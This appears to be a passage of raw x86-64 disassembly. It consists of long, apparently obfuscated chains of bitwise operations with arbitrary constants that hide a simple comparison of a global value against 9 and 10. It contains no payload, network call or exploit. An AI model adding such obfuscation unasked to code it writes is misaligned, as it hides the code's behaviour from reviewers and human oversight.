mov esi, r8d
and esi, 0x3b5cdf72
or esi, ecx
xor esi, 0xdc18f771
mov eax, esi
xor eax, r10d
and eax, esi
xor r13d, 0x44da672c
mov esi, r13d
and esi, 0x18bbd7fc
mov ebx, r14d
and ebx, 0xe7442803
or ebx, esi
mov esi, eax
not esi
and esi, 0x88e12219
mov edi, eax
and edi, 0x771edde6
or edi, esi
xor edi, 0x771edde6
mov esi, edi
and esi, 0xd2352a00
and eax, 0x2dcad5ff
or eax, esi
mov r15d, r9d
mov r12d, edi
and r12d, r9d
xor edi, r9d
mov ecx, r9d
not ecx
and r15d, 0xd2352a00
and ecx, 0x2dcad5ff
or ecx, r15d
mov esi, eax
not esi
and esi, 0x1f6020ed
and eax, 0xe09fdf12
or eax, esi
mov esi, ecx
not esi
and esi, 0x1f6020ed
and ecx, 0xe09fdf12
or ecx, esi
mov r9d, dword [0x1400508cc]
not ebx
or ebx, r13d
xor ecx, eax
or edi, r12d
mov edx, ecx
not edx
mov esi, edx
and esi, 0x51ce4b61
and ecx, 0xae31b49e
or ecx, esi
mov esi, edi
not esi
or edx, edi
and edi, 0x51ce4b61
and esi, 0xae31b49e
or esi, edi
mov edi, ebx
not edi
xor esi, ecx
mov ecx, r11d
not ecx
not edx
or edx, esi
and ecx, ebx
or ebx, r11d
mov esi, ebx
not esi
and r11d, edi
or r11d, ecx
mov ecx, r11d
not ecx
mov edi, ebx
and edi, 0xc8b60dbc
and esi, 0x3749f243
or esi, edi
or ebx, ecx
and ecx, 0xc8b60dbc
and r11d, 0x3749f243
or r11d, ecx
xor r11d, esi
not ebx
or ebx, r11d
mov ecx, edx
not ecx
and ecx, 0x49000298
mov eax, edx
and eax, 0x84867401
or eax, ecx
xor eax, 0x84867401
and edx, 0x32798966
or edx, eax
mov eax, ebx
mov edi, ebx
xor edi, 0xcd867699
and edi, ebx
not ebx
and ebx, 0x40824289
and eax, 0x8d043410
or eax, ebx
xor eax, 0x8d043410
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edx
not eax
and eax, 0x45b7e09f
and edx, 0xba481f60
or edx, eax
mov eax, edi
not eax
and eax, 0x45b7e09f
and edi, 0xba481f60
or edi, eax
xor edi, edx
mov eax, r10d
and eax, 0xd9216906
and r8d, 0x26de96f9
or r8d, eax
mov ebx, r8d
xor ebx, 0x26de96f9
and r13d, 0xe2307fe9
mov ecx, r14d
and ecx, 0x1dcf8016
or ecx, r13d
xor ecx, 0x1dcf8016
xor r8d, 0x80016902
or r8d, 0x7d7e1674
mov eax, r8d
not eax
or r10d, 0x8281e98b
mov edx, r10d
not edx
mov esi, ecx
and esi, 0x8281e98b
and r14d, 0x7d7e1674
or r14d, esi
and r8d, 0x84dda864
and eax, 0x200418b
or eax, r8d
and r10d, 0x84dda864
and edx, 0x79221610
or edx, r10d
xor edx, eax
mov eax, edx
not eax
and eax, 0x50c6dc63
and edx, 0xaf39239c
or edx, eax
mov eax, r14d
not eax
and eax, 0x50c6dc63
and r14d, 0xaf39239c
or r14d, eax
xor r14d, edx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, r14d
not edx
mov ebx, edx
and ebx, 0x52b8da88
and r14d, 0xad472577
or r14d, ebx
or edx, ecx
and ecx, 0x52b8da88
and eax, 0xad472577
or eax, ecx
xor eax, r14d
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x9e655a19
and edx, 0x619aa5e6
or edx, eax
mov eax, edx
not eax
and eax, 0x619aa5e6
and edx, 0x9e655a19
or edx, eax
mov eax, edx
not eax
and eax, 0x4ba58d2c
and edx, 0xb45a72d3
or edx, eax
mov eax, edx
xor eax, 0x41a7041
xor edx, 0x3248c20
and edx, 0xb3648eb2
and eax, 0x4c9b714d
or eax, edx
mov edx, eax
xor edx, 0x13400602
xor eax, 0x4c82114c
and eax, 0xeca699fc
and edx, 0x13596603
or edx, eax
mov r8d, edx
xor r8d, 0x13596603
xor edx, 0xeca29894
mov ebx, edi
xor ebx, 0xebe3672
mov esi, ebx
and ebx, edi
not edi
and edx, 0xecf3dc94
mov eax, r8d
and eax, 0x130c236b
or eax, edx
xor eax, 0x130c236b
and esi, edi
mov edx, eax
and edx, 0xebe3672
and r8d, 0xf141c98d
or r8d, edx
mov edx, esi
not edx
mov ecx, ebx
not ecx
mov r10d, edx
and r10d, 0x60e8a866
and esi, 0x9f175799
or esi, r10d
or edx, ecx
and ecx, 0x60e8a866
and ebx, 0x9f175799
or ebx, ecx
xor ebx, esi
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6e2eec2a
and edx, 0x91d113d5
or edx, ecx
mov ecx, r8d
not ecx
and ecx, 0x6e2eec2a
and r8d, 0x91d113d5
or r8d, ecx
xor r8d, edx
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
not eax
mov ecx, r8d
and ecx, eax
xor eax, r8d
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4030a08
mov ebx, eax
and ebx, 0x4b080407
or ebx, ecx
xor ebx, 0x4b080407
mov ecx, eax
and ecx, 0xb0f4f1f0
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x53183de
and ecx, 0xface7c21
or ecx, ebx
mov ebx, ecx
not ebx
xor ecx, 0x3a0850
and ebx, 0x1012200
and ecx, 0x7e5854
or ecx, ebx
mov ebx, ecx
xor ebx, 0x7e5854
xor ecx, 0xff81a7ab
and edx, 0x2700514e
and eax, 0xd8ffaeb1
or eax, edx
mov edx, eax
xor edx, 0x7f2a10
and edx, 0x17f7a54
xor eax, 0xd980d4e5
or eax, edx
mov edx, eax
not edx
and edx, 0x40fe3e27
and eax, 0xbf01c1d8
or eax, edx
mov edx, eax
xor edx, 0xbf01c1d8
and edx, ecx
xor eax, 0x40fe3e27
mov ecx, ebx
xor ecx, eax
and ecx, ebx
and eax, ebx
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
or eax, 0x50b53f82
mov ebx, eax
not ebx
or edx, 0xaf4ac07d
mov ecx, edx
not ecx
and eax, 0xcab3dffe
and ebx, 0x25480001
or ebx, eax
and edx, 0xcab3dffe
and ecx, 0x10042000
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xd30b7038
and ecx, 0x2cf48fc7
or ecx, eax
mov edx, ecx
xor edx, 0x82c135ee
xor ecx, 0x7d3eca11
mov ebx, ecx
and ebx, 0x8880204c
mov eax, edx
and eax, 0x46054302
or eax, ebx
xor eax, 0x46054302
mov r10d, edx
and r10d, 0x317a9cb1
or r10d, eax
mov eax, r10d
not eax
and eax, 0x97d5c444
and r10d, 0x682a3bbb
or r10d, eax
mov r8d, r10d
xor r8d, 0xa6af58f5
xor r10d, 0x5950a70a
mov eax, r10d
and eax, 0xfc7efb70
mov esi, r8d
and esi, 0x381048f
or esi, eax
mov edi, esi
xor edi, r10d
and edi, esi
mov eax, ecx
and eax, 0x381048f
and edx, 0xfc7efb70
or edx, eax
xor ecx, edx
and ecx, edx
mov edx, edi
not edx
mov esi, ecx
not esi
mov ebx, edx
or ebx, esi
mov eax, ebx
not eax
and edx, 0x1d840eec
and edi, 0xe27bf113
or edi, edx
and esi, 0x1d840eec
and ecx, 0xe27bf113
or ecx, esi
xor ecx, edi
mov edx, ecx
not edx
mov edi, ebx
and edi, 0xbc61077f
and eax, 0x439ef880
or eax, edi
or ebx, edx
and edx, 0xbc61077f
and ecx, 0x439ef880
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov edx, eax
or edx, 0x381048f
mov edi, edx
not edi
or ebx, 0xf80e4170
and ebx, 0xf98e45fe
and eax, 0x2010001
or eax, ebx
and edx, 0xf98e45fe
and edi, 0x470ba00
or edi, edx
xor edi, eax
and r10d, 0x368cc1fd
mov eax, r8d
and eax, 0xc9733e02
or eax, r10d
xor eax, 0xc9733e02
mov edx, r8d
and edx, eax
xor eax, r8d
or eax, edx
mov edx, eax
not edx
and eax, edx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, edi
not edx
and edx, eax
not eax
mov ecx, edi
xor ecx, eax
and ecx, edi
and eax, edi
or eax, edx
mov edi, ecx
not edi
mov edx, eax
not edx
mov ebx, edi
and ebx, 0xb419912b
and ecx, 0x4be66ed4
or ecx, ebx
or edi, edx
and edx, 0xb419912b
and eax, 0x4be66ed4
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
mov ebx, edi
or ebx, 0xfbd130c1
mov edx, ebx
not edx
and edi, 0xc9852c7c
mov eax, ecx
and eax, 0x367ad383
or eax, edi
xor eax, 0x367ad383
or eax, ecx
or ecx, 0x42ecf3e
mov edi, ecx
not edi
and ebx, 0xb8e822d1
and edx, 0x406cd2e
or edx, ebx
and ecx, 0xb8e822d1
and edi, 0x43111000
or edi, ecx
xor edi, edx
mov ecx, edi
not ecx
and ecx, 0x8c978e06
and edi, 0x736871f9
or edi, ecx
mov ecx, edi
xor ecx, 0x6444a801
xor edi, 0x8290038
and edi, 0x1b2b16fe
and ecx, 0xe4d4e901
or ecx, edi
mov edx, ecx
xor edx, 0x40c06901
mov ebx, ecx
xor ebx, 0x1b2b16fe
mov edi, eax
not edi
and edx, 0x4bc179cd
xor ecx, 0x2422e0d9
and ecx, ebx
and ebx, 0xb43e8632
or ebx, edx
mov r8d, ebx
xor r8d, 0xb43e8632
mov edx, eax
and edx, 0xc552379
xor eax, 0xc0f609d8
and eax, edi
and edi, 0xf3aadc86
or edi, edx
mov edx, edi
xor edx, 0xf3aadc86
xor ebx, 0x74c88fea
and ebx, r8d
xor edi, 0x335cd55e
and edi, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, edi
and ebx, eax
xor eax, edi
or eax, ebx
mov ebx, ecx
not ebx
and ebx, eax
not eax
and eax, ecx
or eax, ebx
mov ecx, r8d
and ecx, edx
xor edx, r8d
or edx, ecx
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, ebx
and edi, 0xce216c2
and eax, 0xf31de93d
or eax, edi
or ebx, edx
and edx, 0xce216c2
and ecx, 0xf31de93d
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ebx, 0x9844c0d4
and ecx, 0x67bb3f2b
or ecx, ebx
mov eax, ecx
xor eax, 0x80008040
xor ecx, 0x24a82601
and ecx, 0x3cec6695
and eax, 0xc313996a
or eax, ecx
mov ecx, eax
xor ecx, 0x3cec6695
mov edx, eax
xor edx, 0xc2020868
and edx, 0xcaea287d
xor eax, 0xf6064ee8
and eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3515d782
and eax, 0xcaea287d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd44401d2
and ecx, 0x2bbbfe2d
or ecx, eax
xor ecx, 0xd44401d2
cmp ecx, 0xffffffff
setne r14b
sete r11b
cmp r9d, 0xa
setl dil
cmp r9d, 9
setg r8b
mov r12d, r8d
xor r12b, dil
mov r10d, r12d
xor r10b, 1
mov edx, r10d
or dl, r12b
mov ebx, r10d
or bl, dl
xor dl, r10b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, r8d
xor al, dl
xor al, 1
and al, dl
or dl, r8b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, edi
xor dl, r10b
and dl, dil
and r8b, r12b
mov ecx, edi
and cl, r10b
or cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
mov r9d, ecx
xor r8b, 1
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, r8d
and cl, r9b
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
xor bl, r8b
xor r8b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r8b
xor cl, dl
or r9b, al
xor r9b, 1
or r9b, bl
xor r9b, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov r13d, r9d
mov ecx, r11d
mov eax, r11d
mov byte [rbp - 0x28], r14b
xor al, r14b
mov edx, eax
xor dl, 1
and al, r11b
and r14b, dl
or r14b, al
mov eax, r14d
xor al, 1
mov r15d, r11d
xor r15b, dl
mov r8d, r15d
not r8b
and r8b, dl
or dl, r11b
mov byte [rbp - 0x30], r11b
xor dl, 1
mov ebx, r8d
and bl, dl
xor r8b, dl
or dl, r15b
xor r14b, dl
mov byte [rbp - 0x34], r14b
or dl, al
mov byte [rbp - 0x38], dl
or al, r11b
mov ecx, eax
xor cl, 1
or r8b, bl
mov edx, ecx
and dl, al
mov esi, edx
and sil, cl
xor dl, cl
or dl, sil
xor dl, r8b
xor r8b, 1
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
xor r8b, 1
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov r9d, r8d
xor r9b, 1
mov ecx, r9d
and cl, r8b
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
xor dl, 1
xor r9b, r8b
and r9b, r8b
mov ecx, r9d
xor cl, dl
mov r8d, ecx
xor r8b, 1
or r9b, dl
xor r9b, 1
or r9b, cl
xor cl, r9b
xor cl, 1
or r9b, r8b
xor r9b, 1
or r9b, cl
mov ebx, r13d
mov eax, r13d
xor al, 1
mov r15d, r13d
and r15b, al
mov ecx, r13d
and cl, r15b
mov byte [rbp - 0x2a], cl
mov ecx, r13d
xor cl, r15b
mov byte [rbp - 0x2b], cl
xor r13b, al
or r13b, r15b
xor r15b, 1
mov ecx, ebx
xor cl, r15b
or r15b, bl
xor r15b, 1
or r15b, cl
mov ecx, r15d
xor cl, 1
or cl, r15b
mov r8d, ebx
and r8b, cl
xor cl, 1
mov edx, ecx
mov byte [rbp - 0x23], al
xor dl, al
and dl, cl
and cl, al
or cl, r8b
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edx, ecx
xor dl, 1
mov r11d, edx
and r11b, cl
xor dl, r11b
xor r11b, 1
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, r11d
mov byte [rbp - 0x2c], bl
or cl, bl
xor cl, 1
xor r11b, bl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
and dil, r12b
mov ecx, edi
xor cl, 1
or dil, cl
mov edx, ecx
xor dl, dil
or dil, cl
xor dil, 1
or dil, dl
mov r8d, edi
xor r8b, 1
mov edx, r10d
and dl, r12b
xor r10b, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, r10b
mov r10d, r8d
and r10b, dil
mov ecx, r10d
xor cl, 1
xor r10b, r8b
or cl, dil
xor cl, 1
or cl, r10b
xor cl, dl
xor dl, 1
mov r8d, edi
and r8b, dl
xor dl, dil
or dl, r8b
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ecx, edx
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
and r8b, cl
mov r10d, ecx
and r10b, r8b
xor r8b, cl
or r8b, r10b
xor r8b, dl
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
xor cl, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
mov edx, ecx
xor dl, 1
and cl, dl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edi, r9d
xor dil, 1
mov ebx, edi
or bl, r9b
mov r12d, r9d
and r12b, dil
xor r12b, 1
mov r8d, edi
xor r8b, r12b
or dil, r12b
xor dil, 1
or dil, r8b
mov esi, r9d
xor sil, r12b
or r12b, r9b
mov edx, r9d
and r9b, bl
xor dl, bl
or dl, r9b
xor dil, bl
xor dl, 1
mov r8d, edi
and r8b, dl
xor dl, dil
or dl, r8b
mov r10d, edx
xor r10b, 1
mov r9d, r10d
and r9b, dl
mov eax, r9d
xor al, 1
mov edi, eax
xor dil, dl
or al, dl
xor al, 1
or dil, al
or dl, r10b
mov r8d, edx
xor r8b, dil
xor dil, 1
or dil, dl
xor r8b, 1
xor dil, 1
or dil, r8b
xor r9b, r10b
or r9b, al
mov eax, edi
xor al, 1
mov edx, r9d
xor dl, 1
and dl, al
and dil, r9b
or dil, dl
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
mov eax, r9d
xor al, dil
xor dil, 1
or dil, r9b
xor al, 1
xor dil, 1
or dil, al
mov eax, edi
xor al, 1
mov r14d, edi
or r14b, al
xor al, r14b
or r14b, dil
xor al, 1
xor r14b, 1
or r14b, al
xor r12b, 1
or r12b, sil
mov eax, r12d
mov edi, r12d
xor dil, bl
and dil, r12b
and r12b, bl
xor bl, 1
xor al, 1
and al, bl
mov byte [rbp - 0x29], al
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
mov r10d, eax
xor r10b, dl
and r10b, al
mov ebx, edx
and dl, al
and al, cl
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor al, 1
or al, sil
mov esi, eax
xor sil, 1
and al, sil
mov r8d, esi
and r8b, al
xor al, sil
or al, r8b
mov r8d, r11d
xor r8b, 1
xor al, r11b
mov esi, eax
xor sil, r11b
xor sil, 1
or al, r8b
xor al, 1
or al, sil
mov r15d, r11d
and r15b, r8b
mov esi, r15d
xor sil, 1
xor r15b, r11b
or sil, r8b
xor sil, 1
or sil, r15b
or r8b, r11b
mov r15d, r8d
xor r15b, 1
and r8b, r15b
mov r9d, r8d
and r9b, r15b
xor r8b, r15b
or r8b, r9b
mov r9d, esi
xor r9b, 1
and r9b, r8b
xor r8b, 1
and r8b, sil
or r8b, r9b
mov r9d, r11d
xor r9b, r15b
or r15b, r11b
xor r15b, 1
or r15b, r9b
xor r8b, 1
mov r9d, r8d
xor r9b, r15b
or r8b, r15b
xor r8b, 1
or r8b, r9b
xor bl, 1
and bl, cl
or dl, bl
xor r10b, 1
xor dl, 1
mov ecx, r10d
xor cl, dl
or dl, r10b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, edx
or cl, r8b
xor dl, r8b
xor dl, 1
and dl, r8b
xor cl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r8d, eax
xor r8b, 1
mov ebx, eax
or bl, r8b
mov ecx, ebx
xor cl, 1
mov r9d, r8d
and r9b, bl
and cl, al
or cl, r9b
or bl, al
xor bl, 1
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
mov r9d, edx
xor r9b, 1
mov esi, r9d
or sil, dl
mov r10d, esi
or r10b, r9b
xor r10b, 1
xor sil, r9b
mov r11d, r10d
and r11b, sil
xor sil, r10b
or sil, r11b
xor cl, 1
mov ebx, ecx
xor bl, sil
xor bl, 1
and bl, sil
or cl, sil
mov r10d, ecx
xor r10b, bl
xor bl, 1
or bl, cl
xor r10b, 1
xor bl, 1
or bl, r10b
and r9b, r8b
or r8b, dl
and dl, al
or dl, r9b
xor dl, 1
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor dl, bl
mov eax, edx
xor al, 1
and dl, bl
mov ecx, edx
and cl, al
xor dl, al
mov r8d, r14d
xor r8b, 1
or dl, cl
mov ecx, r8d
and cl, r14b
mov eax, r8d
xor al, cl
xor cl, 1
mov ebx, r14d
or bl, cl
xor bl, 1
or al, bl
xor cl, r14b
or cl, bl
or r8b, r14b
xor cl, 1
xor r8b, 1
mov ebx, ecx
and bl, r8b
xor r8b, cl
or r8b, bl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov r10d, ecx
and r10b, al
mov r9d, ecx
and r9b, r10b
xor r10b, cl
or r10b, r9b
or cl, al
mov esi, r10d
xor sil, 1
mov r9d, r10d
and r9b, sil
mov r11d, r9d
xor r11b, 1
xor r9b, r10b
or r11b, sil
xor r11b, 1
or r11b, r9b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
xor cl, r11b
mov r9d, r10d
xor r9b, bl
or bl, r10b
xor bl, 1
or bl, r9b
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
mov ebx, r10d
xor bl, sil
or sil, r10b
xor sil, 1
or sil, bl
mov eax, esi
xor al, 1
and al, sil
xor al, 1
mov ebx, esi
xor bl, al
or al, sil
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, ecx
xor bl, 1
mov r10d, ebx
xor bl, r9b
and r9b, cl
and r10b, al
or r10b, r9b
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
movzx ecx, byte [rbp - 0x34]
xor cl, 1
movzx ebx, byte [rbp - 0x38]
xor bl, 1
or bl, cl
mov r9d, eax
xor r9b, 1
mov ecx, r9d
and cl, al
xor cl, 1
mov r10d, eax
xor r10b, cl
or cl, al
xor cl, 1
or cl, r10b
mov r11d, ebx
and r11b, cl
xor cl, 1
mov r10d, ebx
xor r10b, 1
and cl, r10b
or cl, r11b
mov r11d, ecx
xor r11b, r10b
and r11b, cl
and bl, r10b
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
xor r9b, bl
or bl, al
xor r9b, 1
xor bl, 1
or bl, r9b
xor bl, r11b
and r11b, bl
mov eax, ebx
xor al, r11b
xor r11b, 1
or r11b, bl
mov r9d, r8d
xor r9b, 1
xor al, 1
xor r11b, 1
or r11b, al
mov eax, r8d
movzx ecx, byte [rbp - 0x28]
xor al, cl
xor r8b, al
and r8b, al
movzx r10d, byte [rbp - 0x30]
or r10b, r9b
xor cl, r9b
and cl, r9b
mov eax, r10d
xor al, cl
xor cl, 1
xor al, 1
or cl, r10b
xor cl, 1
or cl, al
mov r9d, r8d
xor r9b, 1
and r9b, cl
xor cl, 1
mov eax, r8d
xor al, cl
and al, r8b
and cl, r8b
or cl, r9b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov eax, r8d
or al, cl
mov r9d, eax
xor r9b, 1
mov r10d, r8d
xor r10b, al
and r10b, r8b
and r9b, cl
and al, r8b
or al, r9b
mov ecx, r10d
xor cl, 1
xor r10b, al
xor al, 1
or al, cl
xor al, 1
or al, r10b
mov ecx, eax
xor cl, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
xor al, 1
mov r8d, r11d
or r8b, al
xor r8b, 1
mov ecx, eax
xor cl, r11b
or r8b, cl
and al, cl
and cl, r11b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r8d
xor al, cl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
mov r9d, ebx
and r9b, dl
mov r8d, ebx
and r8b, r9b
mov r10d, edx
xor r10b, bl
xor bl, r9b
or bl, r8b
mov eax, ebx
xor al, 1
and al, bl
and r10b, dl
xor r10b, al
xor r10b, 1
and al, r10b
xor al, 1
mov ebx, eax
xor bl, r10b
or al, r10b
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, 1
xor r9b, 1
mov eax, edx
xor al, r9b
or r9b, dl
xor r9b, 1
or r9b, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, cl
and bl, dl
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r10d, edx
xor r10b, al
or dl, cl
or cl, al
xor cl, 1
xor al, cl
and cl, al
xor al, 1
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, eax
xor cl, 1
mov r8d, eax
and r8b, cl
mov ebx, r8d
xor r8b, al
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
xor bl, r9b
xor r9b, 1
xor r10b, 1
xor dl, 1
or dl, r10b
mov eax, edx
xor al, 1
xor bl, 1
mov r8d, r9d
and r8b, cl
xor cl, r9b
or cl, r8b
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
mov r8d, ecx
and r8b, dl
or cl, al
and al, bl
or al, r8b
xor al, 1
or al, dl
xor al, 1
or bl, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
xor bl, al
mov ecx, ebx
xor cl, 1
and al, cl
mov r8d, eax
xor r8b, 1
xor al, bl
or r8b, cl
xor r8b, 1
or r8b, al
or r12b, byte [rbp - 0x29]
mov eax, edi
xor al, 1
xor dil, r12b
xor r12b, 1
or r12b, al
xor r12b, 1
or r12b, dil
movzx ecx, byte [rbp - 0x2b]
or cl, byte [rbp - 0x2a]
mov eax, ecx
xor al, 1
mov edi, eax
and dil, cl
xor al, dil
xor dil, 1
or dil, cl
xor dil, 1
or dil, al
mov r10d, edi
xor r10b, 1
mov eax, r13d
xor al, 1
mov r9d, r12d
xor r9b, 1
mov ecx, r12d
and cl, r9b
mov r11d, ecx
xor r11b, 1
xor cl, r9b
or r12b, r11b
xor r12b, 1
or r12b, cl
mov ecx, r10d
or cl, dil
mov esi, ecx
xor sil, 1
mov ebx, eax
or bl, r13b
and sil, r10b
mov edx, ecx
and dl, dil
or dl, sil
mov esi, ecx
and sil, r10b
xor cl, r10b
mov r10d, ebx
xor r10b, r13b
or cl, sil
xor dl, 1
mov esi, edx
xor sil, cl
or dl, cl
xor dl, 1
or dl, sil
or bl, r13b
xor bl, 1
mov ecx, ebx
and cl, r10b
xor bl, r10b
or bl, cl
mov r10d, ebx
xor r10b, 1
mov esi, ebx
and sil, r10b
mov ecx, esi
xor sil, bl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, sil
xor cl, dl
and r13b, al
mov edx, eax
and dl, r13b
xor r13b, al
or r13b, dl
xor r13b, dil
mov edx, edi
and dl, al
xor al, dil
or al, dl
xor al, 1
mov edx, r13d
and dl, al
xor al, r13b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ebx, ecx
xor bl, dl
or dl, cl
mov ecx, r12d
xor cl, 1
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
and cl, r12b
mov eax, r12d
and al, cl
xor cl, r12b
or cl, al
mov eax, ecx
xor al, 1
mov r10d, ecx
and r10b, al
mov ebx, r10d
xor bl, 1
or bl, al
xor al, cl
or al, r10b
xor r10b, cl
xor bl, 1
or bl, r10b
mov ecx, eax
xor cl, 1
and al, cl
mov r10d, ecx
and r10b, al
xor al, cl
mov esi, ebx
xor sil, 1
or al, r10b
mov ecx, eax
xor cl, 1
and cl, sil
and bl, al
or bl, cl
mov ecx, esi
xor cl, al
or al, sil
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, dl
xor dl, 1
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
mov eax, ecx
xor al, 1
or dl, bl
mov r10d, edx
xor r10b, 1
and al, dl
and r10b, cl
or r10b, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor r10b, 1
mov eax, r10d
xor al, dl
or r10b, dl
xor r10b, 1
or r10b, al
movzx edx, byte [rbp - 0x2c]
mov eax, edx
and al, r9b
mov ecx, edx
xor cl, r9b
or cl, al
mov eax, r11d
xor al, r9b
or r11b, r9b
xor r11b, 1
or r11b, al
and dl, r11b
xor r11b, 1
and r11b, byte [rbp - 0x23]
or r11b, dl
mov eax, r11d
xor al, 1
mov ebx, r11d
and bl, al
mov edx, ebx
xor dl, 1
or dl, al
xor al, cl
xor cl, 1
xor bl, r11b
xor dl, 1
or dl, bl
xor dl, cl
or r11b, cl
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, dl
xor dl, 1
xor al, 1
or dl, r11b
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov r11d, r9d
or r11b, dl
mov edi, r11d
xor dil, 1
mov eax, r11d
and al, dil
mov ebx, r9d
and bl, dl
mov esi, r11d
and sil, al
xor al, r11b
or al, sil
xor r9b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r9b
mov r9d, eax
xor r9b, 1
and r9b, bl
xor bl, 1
and bl, al
or bl, r9b
mov eax, edi
xor al, dl
or dil, dl
xor dil, 1
or dil, al
xor dil, 1
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov eax, edi
xor al, 1
and dil, al
mov edx, eax
and dl, dil
xor dil, al
or dil, dl
mov r9d, edi
xor r9b, 1
mov eax, r10d
xor al, 1
mov ebx, eax
and bl, r10b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov esi, ebx
mov r11d, ebx
xor r11b, dil
and r11b, bl
xor bl, 1
or al, r10b
mov r10d, eax
xor r10b, 1
mov edx, r9d
xor dl, dil
and dl, r9b
and r10b, bl
and sil, al
